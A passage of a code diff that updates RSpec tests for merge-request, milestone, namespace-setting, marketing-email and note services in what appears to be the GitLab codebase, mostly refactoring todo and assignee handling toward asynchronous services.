@@ -572,11 +489,9 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
it_behaves_like 'a service that does not create a merge request'
it 'adds an error to the service' do
- error = "A merge_request.create push option is required to create a merge request for branch #{source_branch}"
-
service.execute
- expect(service.errors).to include(error)
+ expect(service.errors).to include(error_mr_required)
end
context 'when coupled with the `create` push option' do
@@ -595,17 +510,42 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
it_behaves_like 'a service that can change labels of a merge request', 1
end
- context 'with a deleted branch' do
- let(:changes) { deleted_branch_changes }
+ it_behaves_like 'with a deleted branch'
+ it_behaves_like 'with the project default branch'
+ end
+
+ shared_examples 'with an existing branch that has a merge request open in foss' do
+ let(:changes) { existing_branch_changes }
+ let!(:merge_request) { create(:merge_request, source_project: project, source_branch: source_branch)}
- it_behaves_like 'a service that does nothing'
- end
+ it_behaves_like 'a service that does not create a merge request'
+ it_behaves_like 'a service that can change assignees of a merge request', 1
+ end
- context 'with the project default branch' do
- let(:changes) { default_branch_changes }
+ describe '`assign` push option' do
+ let(:assigned) { { user2.id => 1, user3.id => 1 } }
+ let(:unassigned) { nil }
+ let(:push_options) { { assign: assigned, unassign: unassigned } }
- it_behaves_like 'a service that does nothing'
- end
+ it_behaves_like 'with a new branch', 1
+ it_behaves_like 'with an existing branch but no open MR', 1
+ it_behaves_like 'with an existing branch that has a merge request open in foss'
+
+ it_behaves_like 'with a deleted branch'
+ it_behaves_like 'with the project default branch'
+ end
+
+ describe '`unassign` push option' do
+ let(:assigned) { { user2.id => 1, user3.id => 1 } }
+ let(:unassigned) { { user1.id => 1, user3.id => 1 } }
+ let(:push_options) { { assign: assigned, unassign: unassigned } }
+
+ it_behaves_like 'with a new branch', 1
+ it_behaves_like 'with an existing branch but no open MR', 1
+ it_behaves_like 'with an existing branch that has a merge request open in foss'
+
+ it_behaves_like 'with a deleted branch'
+ it_behaves_like 'with the project default branch'
end
describe 'multiple pushed branches' do
@@ -645,7 +585,9 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
end
describe 'no user' do
- let(:user) { nil }
+ let(:user1) { nil }
+ let(:user2) { nil }
+ let(:user3) { nil }
let(:push_options) { { create: true } }
let(:changes) { new_branch_changes }
@@ -661,7 +603,7 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
let(:changes) { new_branch_changes }
it 'records an error' do
- Members::DestroyService.new(user).execute(ProjectMember.find_by!(user_id: user.id))
+ Members::DestroyService.new(user1).execute(ProjectMember.find_by!(user_id: user1.id))
service.execute
@@ -707,7 +649,7 @@ RSpec.describe MergeRequests::PushOptionsHandlerService do
end
describe 'when MRs are not enabled' do
- let(:project) { create(:project, :public, :repository).tap { |pr| pr.add_developer(user) } }
+ let(:project) { create(:project, :public, :repository).tap { |pr| pr.add_developer(user1) } }
let(:push_options) { { create: true } }
let(:changes) { new_branch_changes }
diff --git a/spec/services/merge_requests/refresh_service_spec.rb b/spec/services/merge_requests/refresh_service_spec.rb
index 2abe7a23bfe..f9b76db877b 100644
--- a/spec/services/merge_requests/refresh_service_spec.rb
+++ b/spec/services/merge_requests/refresh_service_spec.rb
@@ -198,7 +198,7 @@ RSpec.describe MergeRequests::RefreshService do
end
end
- describe 'Pipelines for merge requests' do
+ shared_examples 'Pipelines for merge requests' do
before do
stub_ci_pipeline_yaml_file(config)
end
@@ -256,7 +256,7 @@ RSpec.describe MergeRequests::RefreshService do
stub_feature_flags(ci_disallow_to_create_merge_request_pipelines_in_target_project: false)
end
- it 'creates detached merge request pipeline for fork merge request', :sidekiq_inline do
+ it 'creates detached merge request pipeline for fork merge request' do
expect { subject }
.to change { @fork_merge_request.pipelines_for_merge_request.count }.by(1)
@@ -364,6 +364,18 @@ RSpec.describe MergeRequests::RefreshService do
end
end
+ context 'when the code_review_async_pipeline_creation feature flag is on', :sidekiq_inline do
+ it_behaves_like 'Pipelines for merge requests'
+ end
+
+ context 'when the code_review_async_pipeline_creation feature flag is off', :sidekiq_inline do
+ before do
+ stub_feature_flags(code_review_async_pipeline_creation: false)
+ end
+
+ it_behaves_like 'Pipelines for merge requests'
+ end
+
context 'push to origin repo source branch' do
let(:refresh_service) { service.new(@project, @user) }
let(:notification_service) { spy('notification_service') }
diff --git a/spec/services/merge_requests/resolve_todos_service_spec.rb b/spec/services/merge_requests/resolve_todos_service_spec.rb
new file mode 100644
index 00000000000..3e6f2ea3f5d
--- /dev/null
+++ b/spec/services/merge_requests/resolve_todos_service_spec.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequests::ResolveTodosService do
+ let_it_be(:merge_request) { create(:merge_request) }
+ let_it_be(:user) { create(:user) }
+
+ let(:service) { described_class.new(merge_request, user) }
+
+ describe '#async_execute' do
+ def async_execute
+ service.async_execute
+ end
+
+ it 'performs MergeRequests::ResolveTodosWorker asynchronously' do
+ expect(MergeRequests::ResolveTodosWorker)
+ .to receive(:perform_async)
+ .with(
+ merge_request.id,
+ user.id
+ )
+
+ async_execute
+ end
+
+ context 'when resolve_merge_request_todos_async feature is disabled' do
+ before do
+ stub_feature_flags(resolve_merge_request_todos_async: false)
+ end
+
+ it 'calls #execute' do
+ expect(service).to receive(:execute)
+
+ async_execute
+ end
+ end
+ end
+
+ describe '#execute' do
+ it 'marks pending todo as done' do
+ pending_todo = create(:todo, :pending, user: user, project: merge_request.project, target: merge_request)
+
+ service.execute
+
+ expect(pending_todo.reload).to be_done
+ end
+ end
+end
diff --git a/spec/services/merge_requests/update_assignees_service_spec.rb b/spec/services/merge_requests/update_assignees_service_spec.rb
new file mode 100644
index 00000000000..de03aab5418
--- /dev/null
+++ b/spec/services/merge_requests/update_assignees_service_spec.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequests::UpdateAssigneesService do
+ include AfterNextHelpers
+
+ let_it_be(:group) { create(:group, :public) }
+ let_it_be(:project) { create(:project, :private, :repository, group: group) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:user2) { create(:user) }
+ let_it_be(:user3) { create(:user) }
+
+ let_it_be_with_reload(:merge_request) do
+ create(:merge_request, :simple, :unique_branches,
+ title: 'Old title',
+ description: "FYI #{user2.to_reference}",
+ assignee_ids: [user3.id],
+ source_project: project,
+ author: create(:user))
+ end
+
+ before do
+ project.add_maintainer(user)
+ project.add_developer(user2)
+ project.add_developer(user3)
+ end
+
+ let(:service) { described_class.new(project, user, opts) }
+ let(:opts) { { assignee_ids: [user2.id] } }
+
+ describe 'execute' do
+ def update_merge_request
+ service.execute(merge_request)
+ merge_request.reload
+ end
+
+ context 'when the parameters are valid' do
+ it 'updates the MR, and queues the more expensive work for later' do
+ expect_next(MergeRequests::HandleAssigneesChangeService, project, user) do |service|
+ expect(service)
+ .to receive(:async_execute)
+ .with(merge_request, [user3], execute_hooks: true)
+ end
+
+ expect { update_merge_request }
+ .to change(merge_request, :assignees).to([user2])
+ .and change(merge_request, :updated_at)
+ .and change(merge_request, :updated_by).to(user)
+ end
+
+ it 'does not update the assignees if they do not have access' do
+ opts[:assignee_ids] = [create(:user).id]
+
+ expect { update_merge_request }.not_to change(merge_request, :assignee_ids)
+ end
+
+ it 'is more efficient than using the full update-service' do
+ allow_next(MergeRequests::HandleAssigneesChangeService, project, user) do |service|
+ expect(service)
+ .to receive(:async_execute)
+ .with(merge_request, [user3], execute_hooks: true)
+ end
+
+ other_mr = create(:merge_request, :simple, :unique_branches,
+ title: merge_request.title,
+ description: merge_request.description,
+ assignee_ids: merge_request.assignee_ids,
+ source_project: merge_request.project,
+ author: merge_request.author)
+
+ update_service = ::MergeRequests::UpdateService.new(project, user, opts)
+
+ expect { service.execute(merge_request) }
+ .to issue_fewer_queries_than { update_service.execute(other_mr) }
+ end
+ end
+ end
+end
diff --git a/spec/services/merge_requests/update_service_spec.rb b/spec/services/merge_requests/update_service_spec.rb
index 7a7f684c6d0..8c010855eb2 100644
--- a/spec/services/merge_requests/update_service_spec.rb
+++ b/spec/services/merge_requests/update_service_spec.rb
@@ -205,30 +205,6 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
MergeRequests::UpdateService.new(project, user, opts).execute(merge_request)
end
- context 'assignees' do
- context 'when assignees changed' do
- it 'tracks assignees changed event' do
- expect(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
- .to receive(:track_assignees_changed_action).once.with(user: user)
-
- opts[:assignees] = [user2]
-
- MergeRequests::UpdateService.new(project, user, opts).execute(merge_request)
- end
- end
-
- context 'when assignees did not change' do
- it 'does not track assignees changed event' do
- expect(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
- .not_to receive(:track_assignees_changed_action)
-
- opts[:assignees] = merge_request.assignees
-
- MergeRequests::UpdateService.new(project, user, opts).execute(merge_request)
- end
- end
- end
-
context 'reviewers' do
context 'when reviewers changed' do
it 'tracks reviewers changed event' do
@@ -272,6 +248,41 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
it_behaves_like 'updates milestone'
end
+
+ context 'milestone counters cache reset' do
+ let(:milestone_old) { create(:milestone, project: project) }
+ let(:opts) { { milestone: milestone_old } }
+
+ it 'deletes milestone counters' do
+ expect_next_instance_of(Milestones::MergeRequestsCountService, milestone_old) do |service|
+ expect(service).to receive(:delete_cache).and_call_original
+ end
+
+ expect_next_instance_of(Milestones::MergeRequestsCountService, milestone) do |service|
+ expect(service).to receive(:delete_cache).and_call_original
+ end
+
+ update_merge_request(milestone: milestone)
+ end
+
+ it 'deletes milestone counters when the milestone is removed' do
+ expect_next_instance_of(Milestones::MergeRequestsCountService, milestone_old) do |service|
+ expect(service).to receive(:delete_cache).and_call_original
+ end
+
+ update_merge_request(milestone: nil)
+ end
+
+ it 'deletes milestone counters when the milestone was not set' do
+ update_merge_request(milestone: nil)
+
+ expect_next_instance_of(Milestones::MergeRequestsCountService, milestone) do |service|
+ expect(service).to receive(:delete_cache).and_call_original
+ end
+
+ update_merge_request(milestone: milestone)
+ end
+ end
end
it 'executes hooks with update action' do
@@ -291,21 +302,6 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
)
end
- it 'sends email to user2 about assign of new merge request and email to user3 about merge request unassignment', :sidekiq_might_not_need_inline do
- deliveries = ActionMailer::Base.deliveries
- email = deliveries.last
- recipients = deliveries.last(2).flat_map(&:to)
- expect(recipients).to include(user2.email, user3.email)
- expect(email.subject).to include(merge_request.title)
- end
-
- it 'creates system note about merge_request reassign' do
- note = find_note('assigned to')
-
- expect(note).not_to be_nil
- expect(note.note).to include "assigned to #{user.to_reference} and unassigned #{user3.to_reference}"
- end
-
context 'with reviewers' do
let(:opts) { { reviewer_ids: [user2.id] } }
@@ -594,62 +590,54 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
let!(:pending_todo) { create(:todo, :assigned, user: user, project: project, target: merge_request, author: user2) }
context 'when the title change' do
- before do
- update_merge_request({ title: 'New title' })
- end
+ it 'calls MergeRequest::ResolveTodosService#async_execute' do
+ expect_next_instance_of(MergeRequests::ResolveTodosService, merge_request, user) do |service|
+ expect(service).to receive(:async_execute)
+ end
- it 'marks pending todos as done' do
- expect(pending_todo.reload).to be_done
+ update_merge_request({ title: 'New title' })
end
it 'does not create any new todos' do
+ update_merge_request({ title: 'New title' })
+
expect(Todo.count).to eq(1)
end
end
context 'when the description change' do
- before do
- update_merge_request({ description: "Also please fix #{user2.to_reference} #{user3.to_reference}" })
- end
+ it 'calls MergeRequest::ResolveTodosService#async_execute' do
+ expect_next_instance_of(MergeRequests::ResolveTodosService, merge_request, user) do |service|
+ expect(service).to receive(:async_execute)
+ end
- it 'marks pending todos as done' do
- expect(pending_todo.reload).to be_done
+ update_merge_request({ description: "Also please fix #{user2.to_reference} #{user3.to_reference}" })
end
it 'creates only 1 new todo' do
+ update_merge_request({ description: "Also please fix #{user2.to_reference} #{user3.to_reference}" })
+
expect(Todo.count).to eq(2)
end
end
context 'when is reassigned' do
- before do
- update_merge_request({ assignee_ids: [user2.id] })
- end
-
- it 'marks previous assignee pending todos as done' do
- expect(pending_todo.reload).to be_done
- end
-
- it 'creates a pending todo for new assignee' do
- attributes = {
- project: project,
- author: user,
- user: user2,
- target_id: merge_request.id,
- target_type: merge_request.class.name,
- action: Todo::ASSIGNED,
- state: :pending
- }
+ it 'calls MergeRequest::ResolveTodosService#async_execute' do
+ expect_next_instance_of(MergeRequests::ResolveTodosService, merge_request, user) do |service|
+ expect(service).to receive(:async_execute)
+ end
- expect(Todo.where(attributes).count).to eq 1
+ update_merge_request({ assignee_ids: [user2.id] })
end
end
context 'when reviewers gets changed' do
- it 'marks pending todo as done' do
- update_merge_request({ reviewer_ids: [user2.id] })
+ it 'calls MergeRequest::ResolveTodosService#async_execute' do
+ expect_next_instance_of(MergeRequests::ResolveTodosService, merge_request, user) do |service|
+ expect(service).to receive(:async_execute)
+ end
- expect(pending_todo.reload).to be_done
+ update_merge_request({ reviewer_ids: [user2.id] })
end
it 'creates a pending todo for new review request' do
@@ -727,10 +715,12 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
end
end
- it 'marks pending todos as done' do
- update_merge_request({ milestone: create(:milestone, project: project) })
+ it 'calls MergeRequests::ResolveTodosService#async_execute' do
+ expect_next_instance_of(MergeRequests::ResolveTodosService, merge_request, user) do |service|
+ expect(service).to receive(:async_execute)
+ end
- expect(pending_todo.reload).to be_done
+ update_merge_request({ milestone: create(:milestone, project: project) })
end
it 'sends notifications for subscribers of changed milestone', :sidekiq_might_not_need_inline do
@@ -744,17 +734,19 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
end
context 'when the labels change' do
- before do
- travel_to(1.minute.from_now) do
- update_merge_request({ label_ids: [label.id] })
+ it 'calls MergeRequests::ResolveTodosService#async_execute' do
+ expect_next_instance_of(MergeRequests::ResolveTodosService, merge_request, user) do |service|
+ expect(service).to receive(:async_execute)
end
- end
- it 'marks pending todos as done' do
- expect(pending_todo.reload).to be_done
+ update_merge_request({ label_ids: [label.id] })
end
it 'updates updated_at' do
+ travel_to(1.minute.from_now) do
+ update_merge_request({ label_ids: [label.id] })
+ end
+
expect(merge_request.reload.updated_at).to be > Time.current
end
end
@@ -769,24 +761,26 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
end
context 'when the target branch change' do
- before do
- update_merge_request({ target_branch: 'target' })
- end
+ it 'calls MergeRequests::ResolveTodosService#async_execute' do
+ expect_next_instance_of(MergeRequests::ResolveTodosService, merge_request, user) do |service|
+ expect(service).to receive(:async_execute)
+ end
- it 'marks pending todos as done' do
- expect(pending_todo.reload).to be_done
+ update_merge_request({ target_branch: 'target' })
end
end
context 'when auto merge is enabled and target branch changed' do
before do
AutoMergeService.new(project, user, { sha: merge_request.diff_head_sha }).execute(merge_request, AutoMergeService::STRATEGY_MERGE_WHEN_PIPELINE_SUCCEEDS)
-
- update_merge_request({ target_branch: 'target' })
end
- it 'marks pending todos as done' do
- expect(pending_todo.reload).to be_done
+ it 'calls MergeRequests::ResolveTodosService#async_execute' do
+ expect_next_instance_of(MergeRequests::ResolveTodosService, merge_request, user) do |service|
+ expect(service).to receive(:async_execute)
+ end
+
+ update_merge_request({ target_branch: 'target' })
end
end
end
@@ -948,18 +942,8 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
end
it 'removes `MergeRequestsClosingIssues` records when issues are not closed anymore' do
- opts = {
- title: 'Awesome merge_request',
- description: "Closes #{first_issue.to_reference} and #{second_issue.to_reference}",
- source_branch: 'feature',
- target_branch: 'master',
- force_remove_source_branch: '1'
- }
-
- merge_request = MergeRequests::CreateService.new(project, user, opts).execute
-
- issue_ids = MergeRequestsClosingIssues.where(merge_request: merge_request).pluck(:issue_id)
- expect(issue_ids).to match_array([first_issue.id, second_issue.id])
+ create(:merge_requests_closing_issues, issue: first_issue, merge_request: merge_request)
+ create(:merge_requests_closing_issues, issue: second_issue, merge_request: merge_request)
service = described_class.new(project, user, description: "not closing any issues")
allow(service).to receive(:execute_hooks)
@@ -971,9 +955,45 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
end
context 'updating asssignee_ids' do
+ context ':use_specialized_service' do
+ context 'when true' do
+ it 'passes the update action to ::MergeRequests::UpdateAssigneesService' do
+ expect(::MergeRequests::UpdateAssigneesService)
+ .to receive(:new).and_call_original
+
+ update_merge_request({
+ assignee_ids: [user2.id],
+ use_specialized_service: true
+ })
+ end
+ end
+
+ context 'when false or nil' do
+ before do
+ expect(::MergeRequests::UpdateAssigneesService).not_to receive(:new)
+ end
+
+ it 'does not pass the update action to ::MergeRequests::UpdateAssigneesService when false' do
+ update_merge_request({
+ assignee_ids: [user2.id],
+ use_specialized_service: false
+ })
+ end
+
+ it 'does not pass the update action to ::MergeRequests::UpdateAssigneesService when nil' do
+ update_merge_request({
+ assignee_ids: [user2.id],
+ use_specialized_service: nil
+ })
+ end
+ end
+ end
+
it 'does not update assignee when assignee_id is invalid' do
merge_request.update!(assignee_ids: [user.id])
+ expect(MergeRequests::HandleAssigneesChangeService).not_to receive(:new)
+
update_merge_request(assignee_ids: [-1])
expect(merge_request.reload.assignees).to eq([user])
@@ -982,29 +1002,35 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
it 'unassigns assignee when user id is 0' do
merge_request.update!(assignee_ids: [user.id])
+ expect_next_instance_of(MergeRequests::HandleAssigneesChangeService, project, user) do |service|
+ expect(service)
+ .to receive(:async_execute)
+ .with(merge_request, [user])
+ end
+
update_merge_request(assignee_ids: [0])
expect(merge_request.assignee_ids).to be_empty
end
it 'saves assignee when user id is valid' do
+ expect_next_instance_of(MergeRequests::HandleAssigneesChangeService, project, user) do |service|
+ expect(service)
+ .to receive(:async_execute)
+ .with(merge_request, [user3])
+ end
+
update_merge_request(assignee_ids: [user.id])
expect(merge_request.assignee_ids).to eq([user.id])
end
- it 'updates the tracking when user ids are valid' do
- expect(Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter)
- .to receive(:track_users_assigned_to_mr)
- .with(users: [user])
-
- update_merge_request(assignee_ids: [user.id])
- end
-
it 'does not update assignee_id when user cannot read issue' do
non_member = create(:user)
original_assignees = merge_request.assignees
+ expect(MergeRequests::HandleAssigneesChangeService).not_to receive(:new)
+
update_merge_request(assignee_ids: [non_member.id])
expect(merge_request.reload.assignees).to eq(original_assignees)
diff --git a/spec/services/milestones/destroy_service_spec.rb b/spec/services/milestones/destroy_service_spec.rb
index dd68471d927..6c08b7db43a 100644
--- a/spec/services/milestones/destroy_service_spec.rb
+++ b/spec/services/milestones/destroy_service_spec.rb
@@ -22,14 +22,16 @@ RSpec.describe Milestones::DestroyService do
expect { milestone.reload }.to raise_error ActiveRecord::RecordNotFound
end
- it 'deletes milestone id from issuables' do
- issue = create(:issue, project: project, milestone: milestone)
- merge_request = create(:merge_request, source_project: project, milestone: milestone)
+ context 'with an existing merge request' do
+ let!(:issue) { create(:issue, project: project, milestone: milestone) }
+ let!(:merge_request) { create(:merge_request, source_project: project, milestone: milestone) }
- service.execute(milestone)
+ it 'deletes milestone id from issuables' do
+ service.execute(milestone)
- expect(issue.reload.milestone).to be_nil
- expect(merge_request.reload.milestone).to be_nil
+ expect(issue.reload.milestone).to be_nil
+ expect(merge_request.reload.milestone).to be_nil
+ end
end
it 'logs destroy event' do
diff --git a/spec/services/milestones/merge_requests_count_service_spec.rb b/spec/services/milestones/merge_requests_count_service_spec.rb
new file mode 100644
index 00000000000..aecc7d5ef52
--- /dev/null
+++ b/spec/services/milestones/merge_requests_count_service_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Milestones::MergeRequestsCountService, :use_clean_rails_memory_store_caching do
+ let_it_be(:project) { create(:project, :empty_repo) }
+ let_it_be(:milestone) { create(:milestone, project: project) }
+
+ before_all do
+ create(:merge_request, milestone: milestone, source_project: project)
+ create(:merge_request, :closed, milestone: milestone, source_project: project)
+ end
+
+ subject { described_class.new(milestone) }
+
+ it_behaves_like 'a counter caching service'
+
+ it 'counts all merge requests' do
+ expect(subject.count).to eq(2)
+ end
+end
diff --git a/spec/services/milestones/transfer_service_spec.rb b/spec/services/milestones/transfer_service_spec.rb
index 6f4f55b2bd0..afbc9c7dca2 100644
--- a/spec/services/milestones/transfer_service_spec.rb
+++ b/spec/services/milestones/transfer_service_spec.rb
@@ -50,7 +50,7 @@ RSpec.describe Milestones::TransferService do
end
end
- it 'deletes milestone issue counters cache for both milestones' do
+ it 'deletes milestone counters cache for both milestones' do
new_milestone = create(:milestone, project: project, title: group_milestone.title)
expect_next_instance_of(Milestones::IssuesCountService, group_milestone) do |service|
@@ -59,12 +59,18 @@ RSpec.describe Milestones::TransferService do
expect_next_instance_of(Milestones::ClosedIssuesCountService, group_milestone) do |service|
expect(service).to receive(:delete_cache).and_call_original
end
+ expect_next_instance_of(Milestones::MergeRequestsCountService, group_milestone) do |service|
+ expect(service).to receive(:delete_cache).and_call_original
+ end
expect_next_instance_of(Milestones::IssuesCountService, new_milestone) do |service|
expect(service).to receive(:delete_cache).and_call_original
end
expect_next_instance_of(Milestones::ClosedIssuesCountService, new_milestone) do |service|
expect(service).to receive(:delete_cache).and_call_original
end
+ expect_next_instance_of(Milestones::MergeRequestsCountService, new_milestone) do |service|
+ expect(service).to receive(:delete_cache).and_call_original
+ end
service.execute
end
diff --git a/spec/services/namespace_settings/update_service_spec.rb b/spec/services/namespace_settings/update_service_spec.rb
index b588bf2034d..887d56df099 100644
--- a/spec/services/namespace_settings/update_service_spec.rb
+++ b/spec/services/namespace_settings/update_service_spec.rb
@@ -44,5 +44,36 @@ RSpec.describe NamespaceSettings::UpdateService do
.from(nil).to(example_branch_name)
end
end
+
+ context "updating :resource_access_token_creation_allowed" do
+ let(:settings) { { resource_access_token_creation_allowed: false } }
+
+ context 'when user is a group owner' do
+ before do
+ group.add_owner(user)
+ end
+
+ it "changes settings" do
+ expect { service.execute }
+ .to change { group.namespace_settings.resource_access_token_creation_allowed }
+ .from(true).to(false)
+ end
+ end
+
+ context 'when user is not a group owner' do
+ before do
+ group.add_developer(user)
+ end
+
+ it "does not change settings" do
+ expect { service.execute }.not_to change { group.namespace_settings.resource_access_token_creation_allowed }
+ end
+
+ it 'returns the group owner error' do
+ service.execute
+ expect(group.namespace_settings.errors.messages[:resource_access_token_creation_allowed]).to include('can only be changed by a group admin.')
+ end
+ end
+ end
end
end
diff --git a/spec/services/namespaces/in_product_marketing_emails_service_spec.rb b/spec/services/namespaces/in_product_marketing_emails_service_spec.rb
index 28b2e699e5e..3094f574184 100644
--- a/spec/services/namespaces/in_product_marketing_emails_service_spec.rb
+++ b/spec/services/namespaces/in_product_marketing_emails_service_spec.rb
@@ -3,14 +3,12 @@
require 'spec_helper'
RSpec.describe Namespaces::InProductMarketingEmailsService, '#execute' do
- subject(:execute_service) do
- travel_to(frozen_time) { described_class.new(track, interval).execute }
- end
+ subject(:execute_service) { described_class.new(track, interval).execute }
let(:track) { :create }
let(:interval) { 1 }
- let(:frozen_time) { Time.current }
+ let(:frozen_time) { Time.zone.parse('23 Mar 2021 10:14:40 UTC') }
let(:previous_action_completed_at) { frozen_time - 2.days }
let(:current_action_completed_at) { nil }
let(:experiment_enabled) { true }
@@ -21,6 +19,7 @@ RSpec.describe Namespaces::InProductMarketingEmailsService, '#execute' do
let_it_be(:user) { create(:user, email_opted_in: true) }
before do
+ travel_to(frozen_time)
create(:onboarding_progress, namespace: group, **actions_completed)
group.add_developer(user)
stub_experiment_for_subject(in_product_marketing_emails: experiment_enabled)
@@ -86,26 +85,46 @@ RSpec.describe Namespaces::InProductMarketingEmailsService, '#execute' do
end
describe 'experimentation' do
- context 'when the experiment is enabled' do
- it 'adds the group as an experiment subject in the experimental group' do
- expect(Experiment).to receive(:add_group)
- .with(:in_product_marketing_emails, variant: :experimental, group: group)
+ context 'when on dotcom' do
+ before do
+ allow(::Gitlab).to receive(:com?).and_return(true)
+ end
+
+ context 'when the experiment is enabled' do
+ it 'adds the group as an experiment subject in the experimental group' do
+ expect(Experiment).to receive(:add_group)
+ .with(:in_product_marketing_emails, variant: :experimental, group: group)
- execute_service
+ execute_service
+ end
end
- end
- context 'when the experiment is disabled' do
- let(:experiment_enabled) { false }
+ context 'when the experiment is disabled' do
+ let(:experiment_enabled) { false }
+
+ it 'adds the group as an experiment subject in the control group' do
+ expect(Experiment).to receive(:add_group)
+ .with(:in_product_marketing_emails, variant: :control, group: group)
- it 'adds the group as an experiment subject in the control group' do
- expect(Experiment).to receive(:add_group)
- .with(:in_product_marketing_emails, variant: :control, group: group)
+ execute_service
+ end
- execute_service
+ it { is_expected.not_to send_in_product_marketing_email }
end
- it { is_expected.not_to send_in_product_marketing_email }
+ context 'when not on dotcom' do
+ before do
+ allow(::Gitlab).to receive(:com?).and_return(false)
+ end
+
+ it 'does not add the group as an experiment subject' do
+ expect(Experiment).not_to receive(:add_group)
+
+ execute_service
+ end
+
+ it { is_expected.to send_in_product_marketing_email(user.id, group.id, :create, 0) }
+ end
end
end
@@ -139,25 +158,87 @@ RSpec.describe Namespaces::InProductMarketingEmailsService, '#execute' do
it { is_expected.not_to send_in_product_marketing_email }
end
- context 'when the user has already received a marketing email as part of another group' do
- before do
- other_group = create(:group)
- other_group.add_developer(user)
- create(:onboarding_progress, namespace: other_group, created_at: previous_action_completed_at, git_write_at: current_action_completed_at)
+ describe 'do not send emails twice' do
+ subject { described_class.send_for_all_tracks_and_intervals }
+
+ let(:user) { create(:user, email_opted_in: true) }
+
+ context 'when user already got a specific email' do
+ before do
+ create(:in_product_marketing_email, user: user, track: track, series: 0)
+ end
+
+ it { is_expected.not_to send_in_product_marketing_email(user.id, anything, track, 0) }
end
- # For any group Notify is called exactly once
- it { is_expected.to send_in_product_marketing_email(user.id, anything, :create, 0) }
+ context 'when user already got sent the whole track' do
+ before do
+ 0.upto(2) do |series|
+ create(:in_product_marketing_email, user: user, track: track, series: series)
+ end
+ end
+
+ it 'does not send any of the emails anymore', :aggregate_failures do
+ 0.upto(2) do |series|
+ expect(subject).not_to send_in_product_marketing_email(user.id, anything, track, series)
+ end
+ end
+ end
+
+ context 'when user is in two groups' do
+ let(:other_group) { create(:group) }
+
+ before do
+ other_group.add_developer(user)
+ end
+
+ context 'when both groups would get the same email' do
+ before do
+ create(:onboarding_progress, namespace: other_group, **actions_completed)
+ end
+
+ it 'does not send the same email twice' do
+ subject
+
+ expect(Notify).to have_received(:in_product_marketing_email).with(user.id, anything, :create, 0).once
+ end
+ end
+
+ context 'when other group gets a different email' do
+ before do
+ create(:onboarding_progress, namespace: other_group, created_at: previous_action_completed_at, git_write_at: frozen_time - 2.days)
+ end
+
+ it 'sends both emails' do
+ subject
+
+ expect(Notify).to have_received(:in_product_marketing_email).with(user.id, group.id, :create, 0)
+ expect(Notify).to have_received(:in_product_marketing_email).with(user.id, other_group.id, :verify, 0)
+ end
+ end
+ end
+ end
+
+ it 'records sent emails' do
+ expect { subject }.to change { Users::InProductMarketingEmail.count }.by(1)
+
+ expect(
+ Users::InProductMarketingEmail.where(
+ user: user,
+ track: Users::InProductMarketingEmail.tracks[:create],
+ series: 0
+ )
+ ).to exist
end
context 'when invoked with a non existing track' do
let(:track) { :foo }
before do
- stub_const("#{described_class}::TRACKS", { foo: :git_write })
+ stub_const("#{described_class}::TRACKS", { bar: :git_write })
end
- it { expect { subject }.to raise_error(NotImplementedError, 'No ability defined for track foo') }
+ it { expect { subject }.to raise_error(ArgumentError, 'Track foo not defined') }
end
context 'when group is a sub-group' do
diff --git a/spec/services/notes/create_service_spec.rb b/spec/services/notes/create_service_spec.rb
index f59749f0b63..d28cb118529 100644
--- a/spec/services/notes/create_service_spec.rb
+++ b/spec/services/notes/create_service_spec.rb
@@ -345,6 +345,24 @@ RSpec.describe Notes::CreateService do
expect(note.errors[:commands_only]).to be_present
end
+
+ it 'adds commands failed message to note errors' do
+ note_text = %(/reopen)
+ note = described_class.new(project, user, opts.merge(note: note_text)).execute
+
+ expect(note.errors[:commands_only]).to contain_exactly('Could not apply reopen command.')
+ end
+
+ it 'generates success and failed error messages' do
+ note_text = %(/close\n/reopen)
+ service = double(:service)
+ allow(Issues::UpdateService).to receive(:new).and_return(service)
+ expect(service).to receive(:execute)
+
+ note = described_class.new(project, user, opts.merge(note: note_text)).execute
+
+ expect(note.errors[:commands_only]).to contain_exactly('Closed this issue. Could not apply reopen command.')
+ end
end
end
diff --git a/spec/services/notification_recipients/builder/default_spec.rb b/spec/services/notification_recipients/builder/default_spec.rb
index d25410235c2..994138ea828 100644
--- a/spec/services/notification_recipients/builder/default_spec.rb
+++ b/spec/services/notification_recipients/builder/default_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe NotificationRecipients::Builder::Default do
describe '#build!' do
let_it_be(:group) { create(:group, :public) }
let_it_be(:project) { create(:project, :public, group: group).tap { |p| p.add_developer(project_watcher) } }
- let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:target) { create(:issue, project: project) }
let_it_be(:current_user) { create(:user) }
let_it_be(:other_user) { create(:user) }
@@ -17,11 +17,11 @@ RSpec.describe NotificationRecipients::Builder::Default do
let_it_be(:notification_setting_project_w) { create(:notification_setting, source: project, user: project_watcher, level: 2) }
let_it_be(:notification_setting_group_w) { create(:notification_setting, source: group, user: group_watcher, level: 2) }
- subject { described_class.new(issue, current_user, action: :new).tap { |s| s.build! } }
+ subject { described_class.new(target, current_user, action: :new).tap { |s| s.build! } }
context 'participants and project watchers' do
before do
- expect(issue).to receive(:participants).and_return([participant, current_user])
+ expect(target).to receive(:participants).and_return([participant, current_user])
end
it 'adds all participants and watchers' do
@@ -34,11 +34,147 @@ RSpec.describe NotificationRecipients::Builder::Default do
